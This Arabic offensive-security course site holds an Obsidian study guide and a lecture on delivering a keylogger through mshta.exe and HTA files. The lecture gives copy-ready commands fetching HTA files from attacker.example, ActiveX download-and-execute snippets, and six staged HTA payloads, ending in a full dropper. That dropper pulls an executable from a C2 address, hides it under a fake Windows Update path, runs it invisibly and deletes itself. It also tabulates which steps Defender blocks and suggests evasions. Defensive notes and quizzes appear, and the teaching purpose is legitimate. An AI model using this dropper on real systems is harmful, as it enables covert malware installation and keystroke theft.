من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية،
إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة،
وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.
اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى
اليسار: ما على اليمين يجب أن يسبق ما على اليسار.
الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول
منشور حتى الآن
من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت
قبل أن تكمل.
الخزنة
المنهج كشبكة، لا كقائمة
كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات،
الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط
Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت
واحدة امتلأت العقد المشتركة معها.
لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة
تسمية تقطع الرابط.
الطريقة الأنظف · عبر Git
استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر
تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت
Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:
نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها:
اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK،
أو المسار الأقصر بين مفهومين.
دليل التنقّل يشرح الطريقة كاملة.
أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس
قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني
على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم
يُنظر إليها من جهة المدافع.
العمل مع المختصّين
تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على
بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً.
المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.
المختبرات هي الفرق
لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود
إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي
بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.
الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.
هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.
أولاً: افتح الخزنة
نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات.Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.
بنية الخزنة
المجلد
ما فيه
المحاضرات
نص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدورات
صفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة
كيف تقرأ ملف مفهوم
كل ملف مفهوم مبني على نفس الشكل:
رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟
الأدوات الخمس التي ستستخدمها
1. الرسم الكامل (Graph view)
الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:
Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.
النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.
2. الرسم الموضعي (Local graph)
من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:
Depth 1: ما يرتبط بالملف مباشرة.
Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.
هذه هي الأداة التي ستقضي فيها أكثر وقتك.
3. الروابط الخلفية (Backlinks)
في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.
اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.
5. البحث والتنقّل السريع
الأمر
ويندوز
ماك
فتح ملف بالاسم
Ctrl+O
Cmd+O
بحث في كل النص
Ctrl+Shift+F
Cmd+Shift+F
لوحة الأوامر
Ctrl+P
Cmd+P
الرسم الكامل
Ctrl+G
Cmd+G
إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.
مثال كامل: كيف تدرس موضوعاً واحداً
خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.
الخطوة 1: ابدأ من المفهوم، لا من المحاضرة
افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.
الخطوة 2: افتح الرسم الموضعي بعمق 1
سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.
قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.
الخطوة 3: اتبع أغرب جار
SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.
ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.
الخطوة 4: انزل إلى النص
من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.
الخطوة 5: اجمع المحور كله
ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.
الخطوة 6: اقلب السؤال
اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.
الخطوة 7: اكتب ملاحظتك أنت
أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].
اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.
نمط أسبوعي مقترح
اليوم
العمل
قبل المحاضرة
افتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءة
لا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءة
افتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعة
افتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوع
اكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل
أخطاء شائعة
قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.
كل الأجزاء وصلت صحيحة: multipart/mixed، اسم الملف كامل مع .hta، base64 encoding، Content-Disposition: attachment.
استنتاج: أمر swaks --attach @file من القسم 8 يُنتج بالضبط هذا الشكل، لا فرق دلاليا بين تشغيلنا الآن وتشغيلك أنت.
ملاحظة لبيئة الطالب: أي MTA (Postfix، Exchange، Sendgrid) سيرى نفس البنية، ويسلّم المرفق بنجاح.
(6) ملخص عام: ماذا يعني كل هذا لطالب في 2026؟
الطبقة
نجح على Win11 24H2؟
ملاحظة
تشغيل mshta على ملف .hta
✅ نعم
لا قيود، برنامج موقّع رسمي
فتح نافذة HTA + JScript
✅ نعم
يعمل عادي، لا AMSI blocking أول شيء
تشغيل GUI EXE فرعية (notepad, calc)
✅ نعم
parent-child واضح
تشغيل cmd / powershell / wscript فرعية
❌ حُجب بصمت
Defender Behavior Monitor
تنزيل ملف عبر XMLHTTP + كتابته بـ ADODB
❓ لم يُختبر مباشرة (فشل الـ log الوسيط)
يحتاج VM ضحية للتأكيد النهائي
تسليم .hta كمرفق SMTP
✅ نعم (عبر مكافئ swaks)
الـ MIME يمرر بلا مشكلة
تفعيل ASR rule
⚠️ ممكن (يحتاج admin): لا -WhatIf
استخدم AuditMode أولا
درس نهائي: الطريق D لم يمت في 2026، لكنه أصعب بكثير مما توحي الشرائح. الجزء المكسور تحديدا هو استدعاء cmd أو powershell كطفل لـ mshta. المهاجم الحقيقي في 2026 يعمل حول هذا: يحقن shellcode في ذاكرة mshta نفسها، أو يستخدم LOLBin أقل شهرة، أو ينتقل إلى ClickFix حيث المستخدم يفتح PowerShell بنفسه.
القسم 0القسم 0: استعادة المحاضرة الثانية والجسر
المحاضرة 2 غطّت ثلاث طرق لتوصيل الـ Keylogger:
الطريق
التقنية
ما يحتاجه
يعمل على Win11 24H2؟
A
PDF ملغم بـ CVE-2010-2883 في Adobe Reader 9.3.4
نسخة قديمة من Adobe Reader
لا: الثغرة مصلحة
B
Trojan Binder: .exe يحمل PDF + Keylogger
MinGW + C++ compiler
نعم: بلا ثغرة
C
إخفاء الـ Keylogger داخل صورة (LSB أو byte-append)
Python + PIL + Loader بـ C++
نعم: يحتاج Loader ينفذ أولا
الفجوة: كلها تحتاج ترجمة كود أو ثغرة. المهاجم الذكي يسأل: هل يمكنني تنفيذ الحمولة بلا ترجمة أي شيء وبلا ظهور تحذير SmartScreen؟ الجواب في مفهوم اسمه LOLBins، والمثال الأقوى فيه هو ملف اسمه mshta.exe.
الطريق D: نظرة إجمالية
الفكرة في سطر واحد: المهاجم لا يكتب EXE. يكتب صفحة HTML صغيرة داخلها JScript، ويحفظها بامتداد .hta. Windows يفتحها ببرنامج mshta.exe (موقع من مايكروسوفت)، والـ JScript ينزل الـ Keylogger من الشبكة ويشغله. SmartScreen لا يرى شيئا، الذي يعمل هو برنامج مايكروسوفت الرسمي.
لماذا LOLBin؟LOL = Living Off The Land = العيش على أرض العدو. المهاجم يستخدم برامج Windows الموجودة أصلا، لا يزرع أي ملف EXE جديد.
✅ اختبر نفسك: القسم 0
قبل الانتقال للقسم التالي، تأكّد أنك تستطيع الإجابة بدون العودة للنص:
ما الذي تشترك فيه الطرق الثلاث من المحاضرة 2، وما الذي يجعل الطريق D مختلفاً عنها جوهرياً؟
في الطرق السابقة كنّا نُسلّم ملفاً تنفيذياً بنيناه نحن. ماذا نُسلّم هنا بدلاً منه؟
لماذا يُعدّ عدم الحاجة إلى بناء EXE ميزةً للمهاجم وليس مجرّد اختصار؟
إذا لم تستطع الإجابة على 2 من 3، أعد قراءة القسم قبل المتابعة.
القسم 1القسم 1: LOLBins: العيش على أرض العدو
LOLBin هو أي ملف تنفيذي شرعي، موقع رقميا من مايكروسوفت، يستطيع المهاجم استخدامه لتنفيذ نيته الخبيثة. المصطلح جاء من التعبير العسكري: بدلا من نقل مؤن مع الجيش، يعتاش على موارد الأرض التي يحاربها.
لماذا هذه فكرة قوية دفاعيا؟ الدفاع الحديث (SmartScreen, EDR, Application Whitelisting) يبني ثقته على: من هو الذي يشغل الكود؟ إذا موقعا من جهة موثوقة، يمر. المشكلة: مايكروسوفت وقعت نفسها على mshta.exe و rundll32.exe و powershell.exe و regsvr32.exe وحوالي 200 ملف آخر، وكلها تستطيع تنفيذ كود عشوائي.
مشروع LOLBAS: القائمة الرسمية
LOLBAS = Living Off The Land Binaries, Scripts and Libraries.
لماذا يعمل هذا في 2026؟ مايكروسوفت لا تستطيع إزالة هذه الأدوات، الكثير من التطبيقات المؤسسية القديمة تعتمد عليها. الحل الإداري: ASR rules (يبنى في الخلف) و AppLocker (يحتاج إعداد يدوي). الحل الافتراضي على Windows 11 Home/Pro: صفر، كل هذه الأدوات تعمل بلا قيود.
✅ اختبر نفسك: القسم 1
عرّف LOLBin بجملة واحدة، ثم اشرح أصل التسمية العسكري وما الذي يوازيه في الهجوم.
الدفاع الحديث يبني ثقته على سؤال واحد. ما هو؟ ولماذا يفشل هذا السؤال أمام mshta.exe؟
مشروع LOLBAS يصنّف البرامج حسب القدرة الهجومية. اذكر ثلاث فئات من التصنيف.
لو منعت مؤسسة تشغيل كل ملف EXE غير موقّع، هل يتوقف هجوم LOLBin؟ برّر جوابك.
3/4 صحيحة = تابع. أقل = راجع فقرة "لماذا هذه فكرة قوية دفاعيا؟".
القسم 2القسم 2: mshta.exe: نجم LOLBins
mshta.exe = Microsoft HTML Application Host.
برنامج صغير (~15 KB)
أضافته مايكروسوفت في Windows 2000
كجزء من Internet Explorer 5 (سنة 1999)
مهمته الأصلية: تشغيل تطبيقات مكتبية مكتوبة بـ HTML، نوع من التطبيقات الهجينة قبل أن تصبح "ويب اب" شائعة.
الشركات كتبت واجهات إدارية داخلية بـ HTML + VBScript، وحفظتها بامتداد .hta.
الموقع والحجم
C:\Windows\System32\mshta.exe (نسخة 64-bit)
C:\Windows\SysWOW64\mshta.exe (نسخة 32-bit)
كلاهما موقع رقميا من Microsoft Windows Publisher، نفس الجهة التي توقع cmd.exe و explorer.exe.
جملة الأمر الأساسية (كل الأمثلة يمكن نسخها كما هي)
batch
:: تشغيل ملف hta محلي
mshta.exe C:\Users\Alice\Downloads\update.hta
:: تشغيل ملف hta من الإنترنت مباشرة (بلا تحميل ظاهر!)
mshta.exe https://attacker.example/update.hta
:: تنفيذ JScript كـ inline بدون ملف أصلا
mshta.exe "javascript:new ActiveXObject('WScript.Shell').Run('calc.exe');close();"
:: تنفيذ VBScript كـ inline
mshta.exe "vbscript:CreateObject(""WScript.Shell"").Run ""calc.exe"":Close"
:: طباعة نسخة mshta (لتأكيد وجوده على النظام)
mshta.exe /?
⚠️ النقطة الحرجة، الأمر الثانيmshta تقبل عنوان URL كامل. الحمولة الحقيقية لا تنزل إلى القرص، mshta تحمل ملف HTA في الذاكرة مباشرة وتنفذها. ماذا يرى محرك AV سلوكي؟ - عملية اسمها mshta.exe، برنامج موقّع من مايكروسوفت - اتصلت بـ HTTPS، نشاط شبكي طبيعي جدا - نفّذت JScript، شرعي تماما في سياق HTA ما الذي يبرر التنبيه؟
التاريخ باختصار
السنة
الحدث
1999
IE5 + Windows 2000: إضافة HTA و mshta.exe
2010
Aurora و Shady RAT: استخدام واسع لـ HTA droppers
2018
LOLBAS project: توثيق رسمي
2020
ASR rule "Block execution of HTA files": لكن غير مفعل افتراضيا
لا زالت موجودة افتراضيا على Windows 11 25H2: لم تعلن مايكروسوفت أي خطة لإزالتها
لماذا لا تحذف مايكروسوفت هذا الملف؟ التوافقية العكسية. مصارف تستخدم واجهات HTA للاتصال بأنظمة قديمة، مستشفيات تستخدم HTA لطباعة تقارير، مصانع تشغّل HTA على شاشات لمس. الحذف يكسر ملايين البيئات.
خيارات المدافع في 2026
ASR ruleBE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 = Block executable content from email client and webmail.
تغيير المشغل الافتراضي لـ .hta من mshta إلى notepad (يفشل الفتح تلقائيا).
AppLocker Policy: منع تنفيذ mshta.exe كليا (يحتاج ترخيص Enterprise).
Sysmon + قاعدة كشف: كل نشاط mshta.exe مع سطر أمر يحتوي http/https = ينبه.
جديد 2026 (MC1266905): توصية Secure Score لحجب حركة mshta.exe الصادرة، Public Preview مارس 2026، GA مايو 2026، opt-in فقط.
كل هذه الحلول تحتاج مدير نظام. Windows الافتراضي = مباح.
✅ اختبر نفسك: القسم 2
ما وظيفة mshta.exe الأصلية التي أضافتها مايكروسوفت من أجلها؟ وفي أي سياق تاريخي؟
أين يوجد mshta.exe على القرص؟ اذكر المسارين ولماذا يوجد نسختان.
مَن يوقّع mshta.exe رقمياً؟ ولماذا هذه الحقيقة تحديداً هي جوهر المشكلة الدفاعية؟
اكتب من ذاكرتك جملة الأمر التي تشغّل ملف .hta محلياً.
المدافع في 2026 أمامه عدة خيارات للتعامل مع mshta. اذكر خيارين، وقل ما الثمن التشغيلي لكلٍّ منهما.
4/5 = تابع. أقل = راجع "الموقع والحجم" و"خيارات المدافع".
القسم 3القسم 3: HTA: HTML Application كتنسيق ملف
ملف HTA هو ملف نصي عادي يحتوي HTML قياسي مع إضافة واحدة: وسم <HTA:APPLICATION>. هذا الوسم يخبر mshta.exe أن هذا تطبيق سطح مكتب. النتيجة: كل قيود أمان المتصفح تختفي. من داخل HTA تستطيع:
الوصول الكامل لنظام الملفات (قراءة، كتابة، حذف).
تشغيل أي برنامج (WScript.Shell.Run).
استخدام كائنات ActiveX (COM القوية).
الاتصال بالشبكة بلا قيود CORS.
تعديل مسجل النظام (Registry).
البنية الأساسية
html
<!-- hello.hta --><html><head><title>Corporate Update</title><HTA:APPLICATIONID="objHTA"APPLICATIONNAME="CorpUpdate"BORDER="thin"SCROLL="no"SHOWINTASKBAR="yes"SINGLEINSTANCE="yes"WINDOWSTATE="minimize"/><scriptlanguage="JScript">
// كود JScript هنا
var shell = new ActiveXObject("WScript.Shell");
shell.Run("calc.exe");
window.close();
</script></head><body><p>Installing update, please wait...</p></body></html>
خصائص وسم HTA:APPLICATION
الخاصية
ما تعنيه
لماذا تهم للمهاجم
APPLICATIONNAME
اسم يظهر في Task Manager
اسم مقنّع مثل "Windows Update"
WINDOWSTATE
normal / minimize / maximize
minimize = النافذة تختفي فورا
SHOWINTASKBAR
yes / no
no = لا أيقونة في شريط المهام
BORDER
thick / thin / none
none = بلا إطار = تبدو صفحة نظام
SINGLEINSTANCE
yes / no
يمنع فتح نسختين معا
ICON
مسار .ico
أيقونة رسمية للخداع البصري
ActiveX: القوة الحقيقية داخل HTA
ActiveX = كائنات COM يستطيع JScript إنشاءها. أهم أربعة:
javascript
// (1) WScript.Shell — تشغيل برامج، تعديل Registry، متغيرات البيئةvar shell = newActiveXObject("WScript.Shell");
// Run(command, windowStyle, waitOnReturn)// windowStyle: 0=hidden, 1=normal// waitOnReturn: false = لا تنتظر (نستخدمه دائما داخل HTA حتى لا تتجمد النافذة)
shell.Run("cmd.exe /c dir C:\\", 0, false);
shell.RegWrite("HKCU\\Software\\Foo\\Bar", "value");
var tempPath = shell.ExpandEnvironmentStrings("%TEMP%");
// (2) Scripting.FileSystemObject — قراءة/كتابة/نقل الملفاتvar fso = newActiveXObject("Scripting.FileSystemObject");
var file = fso.CreateTextFile("C:\\Users\\Public\\log.txt", true);
file.WriteLine("hello");
file.Close();
// (3) MSXML2.XMLHTTP — HTTP client (تنزيل من الإنترنت)var http = newActiveXObject("MSXML2.XMLHTTP.6.0");
http.open("GET", "https://attacker.example/payload.exe", false);
http.send();
var responseBody = http.responseBody; // bytes[]// (4) ADODB.Stream — كتابة bytes الى القرصvar stream = newActiveXObject("ADODB.Stream");
stream.Type = 1; // 1 = binary (يجب قبل Open)
stream.Open();
stream.Write(responseBody);
stream.SaveToFile("C:\\Users\\Public\\p.exe", 2); // 2 = adSaveCreateOverWrite
stream.Close();
الأربعة معا = الحمولة الكاملة:MSXML2.XMLHTTP ينزل الـ EXE من خادم المهاجم. ADODB.Stream يكتب الـ bytes إلى القرص. WScript.Shell يشغّل الـ EXE. Scripting.FileSystemObject يخفي الأثار. كل هذا في ملف واحد نصي بحجم أقل من 2 KB.
منطقة الأمان: Local Machine Zone
من أبرز ما يجعل HTA خطيرا: mshta.exe يشغّل الملف داخل ما يسمى Local Machine Zone، أعلى منطقة ثقة في نموذج مناطق Internet Explorer.
النتيجة العملية:
حتى إذا نزل الـ HTA من الإنترنت، بمجرد أن يفتحه mshta يصبح كأي برنامج محلي
كائنات ActiveX تعمل بحرية بلا قيود منطقة
لا يظهر أي تحذير أمان قبل تشغيل الكود
✅ اختبر نفسك: القسم 3
ما الفرق بين ملف .html عادي وملف .hta من ناحية صلاحيات التنفيذ؟ ولماذا هذا الفرق موجود أصلاً؟
اختر ثلاث خصائص من وسم HTA:APPLICATION واشرح كيف تخدم كلٌّ منها الخداع البصري.
ما هو ActiveX في سياق HTA، ولماذا يوصف بأنه "القوة الحقيقية"؟
ما معنى Local Machine Zone، وما علاقتها بقدرة HTA على فعل ما لا تستطيعه صفحة ويب؟
لو ضبطت WINDOWSTATE=minimize و SHOWINTASKBAR=no معاً، ماذا يرى الضحية عند التشغيل؟
3/5 = تابع.
القسم 4القسم 4: بناء حمولة HTA: ست تكرارات كاملة قابلة للنسخ
التغيير الرئيسي عن نسخة PDF: كل تكرار هنا ملف كامل مستقل، ليس "أضف هذا للسابق". تنسخ ما تريد، تلصقه، يعمل.
#
التكرار
الهدف التعليمي
1
Hello World HTA
التأكد أن mshta يعمل ويشغل JScript
2
Popup + close
نافذة MessageBox واغلاق تلقائي
3
spawn calc.exe
الوصول لـ WScript.Shell وتشغيل برنامج
4
تنزيل ملف من الشبكة
MSXML2.XMLHTTP + ADODB.Stream
5
تنزيل + تشغيل + إخفاء
الحمولة الكاملة بلا نافذة مرئية
6
إضافة Decoy PDF + مسح الأثر
التكامل النهائي: الضحية لا تشك بشيء
🧪 التكرار 1: Hello World HTA
احفظ الملف كاملا بهذا الاسم:01-hello.hta
html
<html><head><title>Hello</title><HTA:APPLICATIONID="app"WINDOWSTATE="normal"/></head><bodystyle="font-family:Segoe UI;padding:24px;"><h2>Hello from HTA</h2><p>If you see this, mshta.exe is working.</p></body></html>
التنفيذ: انسخ الملف إلى Victim VM (SMB share أو مرفق Roundcube)، ثم double-click. يجب أن تفتح نافذة صغيرة بيضاء. إذا لم تفتح، mshta معطلة على النظام أو الامتداد .hta معدّل.
🧪 التكرار 2: نافذة رسالة + إغلاق تلقائي
احفظ:02-popup.hta
html
<html><head><title>Update</title><HTA:APPLICATIONID="app"WINDOWSTATE="minimize"SHOWINTASKBAR="no"/><scriptlanguage="JScript">
// بمجرد أن تحمّل النافذة: اعرض رسالة واغلق
window.onload = function() {
var msg = "Corporate update installed successfully.";
new ActiveXObject("WScript.Shell").Popup(msg, 2, "CorpUpdate", 64);
window.close();
};
</script></head><body></body></html>
التغيير المهم:WINDOWSTATE="minimize" + SHOWINTASKBAR="no". النافذة لا تظهر أصلا. الرسالة تختفي بعد ثانيتين. الضحية ترى وميضا خفيفا فقط.
تحقق النجاح: بعد فتح الـ HTA على الضحية، افتح Task Manager، ابحث عن calc.exe أو CalculatorApp.exe. إذا وجدته → التكرار 3 نجح.
🧪 التكرار 4: تنزيل ملف من خادم المهاجم
احفظ:04-download.hta
html
<html><head><title>Update</title><HTA:APPLICATIONID="app"WINDOWSTATE="minimize"SHOWINTASKBAR="no"/><scriptlanguage="JScript">
// ينزل ملفا من HTTP إلى مسار محلي
function downloadTo(url, outPath) {
var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
http.open("GET", url, false);
http.send();
if (http.status != 200) return false;
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; // 1 = binary (يجب قبل Open)
stream.Open();
stream.Write(http.responseBody);
stream.SaveToFile(outPath, 2); // 2 = adSaveCreateOverWrite
stream.Close();
return true;
}
window.onload = function() {
var shell = new ActiveXObject("WScript.Shell");
var out = shell.ExpandEnvironmentStrings(
"%APPDATA%\\Microsoft\\test.bin");
downloadTo("http://127.0.0.1:8000/hello.bin", out);
window.close();
};
</script></head><body></body></html>
قبل تشغيل الحمولة على الضحية، شغّل خادم اختبار على المهاجم (WSL):
bash
cd ~/lab/hta
echo"test payload bytes" > hello.bin
python3-m http.server 8000--bind10.10.10.10
بعد التشغيل، تحقق من وجود الملف على الضحية (PowerShell):
powershell
Get-Content"$env:APPDATA\Microsoft\test.bin"# النتيجة المتوقعة: test payload bytes
🧪 التكرار 5: تنزيل + تشغيل + إخفاء الأثر
احفظ:05-full.hta
html
<html><head><title>Windows Update</title><HTA:APPLICATIONID="app"WINDOWSTATE="minimize"SHOWINTASKBAR="no"SINGLEINSTANCE="yes"APPLICATIONNAME="WindowsUpdateAgent"/><scriptlanguage="JScript">
// ── CONFIG ────────────────────────────────────────────────
var C2_URL = "http://10.10.10.10:8000/keylogger_edu.exe";
var DROP_DIR = "%APPDATA%\\Microsoft\\Windows\\Update";
var DROP_NAME= "wmupdate.exe";
// ── HELPERS ───────────────────────────────────────────────
function shellExpand(p) {
return new ActiveXObject("WScript.Shell")
.ExpandEnvironmentStrings(p);
}
function ensureDir(path) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var parts = path.split("\\");
// ابدأ من الجذر (مثلا "C:") + الجزء الأول
var cur = parts[0];
for (var i = 1; i < parts.length; i++) {
cur += "\\" + parts[i];
// FolderExists لا يعطي true لـ "C:" لوحدها — اقفز
if (cur.length > 3 && !fso.FolderExists(cur)) {
try { fso.CreateFolder(cur); } catch(e) {}
}
}
}
function downloadTo(url, outPath) {
var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
http.open("GET", url, false);
http.send();
if (http.status != 200) return false;
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.Write(http.responseBody);
stream.SaveToFile(outPath, 2);
stream.Close();
return true;
}
function runHidden(cmd) {
new ActiveXObject("WScript.Shell").Run(cmd, 0, false);
}
// احذف الـ HTA نفسه بعد ثانيتين — يعمل مع مسارات فيها مسافات
function selfDelete() {
// بعض إصدارات mshta تعيد pathname بصيغة "/C:/Users/x/file.hta"
// وبعضها تعيده "C:\Users\x\file.hta" — نتعامل مع الحالتين.
var raw = decodeURIComponent(location.pathname);
if (raw.charAt(0) === "/") raw = raw.substring(1);
var me = raw.replace(/\//g, "\\");
// cmd /c "..." — اقتباس واحد حول المسار.
// قاعدة cmd /c: يُزيل أوّل " وآخر " من السطر ثم ينفّذ الباقي كأمر.
// فيصل المسار مُقتبَساً كاملاً إلى del — تعمل مع المسافات في المسار.
var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "'
+ me + '""';
runHidden(cmd);
}
// ── MAIN ──────────────────────────────────────────────────
window.onload = function() {
var dropDir = shellExpand(DROP_DIR);
var outPath = dropDir + "\\" + DROP_NAME;
ensureDir(dropDir);
if (downloadTo(C2_URL, outPath)) {
runHidden('"' + outPath + '"');
}
selfDelete();
window.close();
};
</script></head><body></body></html>
ما الجديد:
الحمولة الحقيقية (الـ Keylogger من المحاضرة الأولى) تنزل من الـ Attacker.
تُحفظ في %APPDATA%\Microsoft\Windows\Update\wmupdate.exe، مسار شرعي المظهر.
ensureDir ينشئ المجلدات المفقودة (Update غير موجود عادة).
تُشغّل الحمولة بلا نافذة (windowStyle=0).
selfDelete يحذف الـ HTA نفسه بعد ثانيتين، يعمل مع مسارات فيها مسافات (تحسّن عن نسخة PDF).
APPLICATIONNAME="WindowsUpdateAgent"، الاسم في Task Manager يبدو شرعيا.
